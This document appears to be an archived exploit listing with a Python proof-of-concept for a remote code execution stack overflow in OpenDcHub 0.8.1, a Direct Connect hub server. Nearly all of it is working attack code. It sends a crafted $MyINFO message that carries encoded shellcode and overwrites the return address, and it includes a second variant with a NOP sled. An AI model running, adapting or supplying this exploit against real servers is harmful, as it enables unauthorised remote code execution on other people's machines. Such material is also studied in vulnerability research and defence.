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OpenDcHub 0.8.1 Remote Code Execution Exploit
============================================= OpenDcHub 0.8.1 Remote Code Execution Exploit ============================================= #!/usr/bin/python # # OpenDcHub 0.8.1 Remote Code Execution Exploit # Pierre Nogues - http://www.indahax.com # # Description: # OpenDcHub is a direct connect hub for Linux # # OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow. # # Affected versions : # OpenDcHub 0.8.1 # # Plateforms : # Unix # # Usage : # ./exploit.py import socket host = '192.168.1.9' port = 5000 # must not contain \x36 \x53 \x00 bytes # max shellcode size = 103 bytes use exploit v2 otherwise shellcode="\x33\xc9\xb1\x13\xba\xf6\x1d\xe7\xfa\xdb\xde\xd9\x74\x24" shellcode+="\xf4\x5e\x83\xc6\x04\x31\x56\x0a\x03\xa0\x17\x05\x0f\x7d" shellcode+="\xf3\x3e\x13\x2e\x40\x92\xbe\xd2\xcf\xf5\x8f\xb4\x02\x75" shellcode+="\xb4\x66\xf5\xb6\xe3\x97\x37\x51\x9c\x86\x6b\xfb\x0f\xc2" shellcode+="\x83\x52\xe0\x9b\x45\x17\x6a\xfd\xdd\x55\xea\x58\x59\xbc" shellcode+="\x5b\x65\xa8\xbf\xd5\xe0\xcb\x90\x8d\x3d\x03\x62\x26\x29" shellcode+="\x74\xe6\xdf\xc7\x03\x05\x4f\x44\x9d\x2b\xc0\x61\x50\x2b" shellcode+="\x2b" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send("$ValidateNick joseph|") hax="$MyINFO $ALL joseph " hax+=shellcode for i in range(103 - len(shellcode)): hax+="A" hax+="$" hax+="\x20\x81\x81\x80" # esp hax+="\xed\xf6\xfe\xbf" # eip hax+="S:-1|" s.send(hax) s.close() """ # V2 # more complex version working too, it have more space for the shellcode hax="$MyINFO $ALL joseph AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" hax+="\xFF\xFF\xFF\xFE" # local var int len of commands.c:my_info() must be a negative value hax+="TTTTUUUUVVVVWWWWXXXXYYYYZZZZBBBBCCCCEEEEEEE$" hax+="\x20\x81\x81\x80" # esp hax+="\x80\xf7\xfe\xbf" # eip hax+="\xCC\xCC\xCC\xCC" # useless var hax+="\x10\xf0\xfe\xbf" # this address + x20 will be overwritten by 4 bytes # shellcode time hax+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" hax+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" hax+=shellcode hax+="|" """ # 0day.today [2024-10-06] #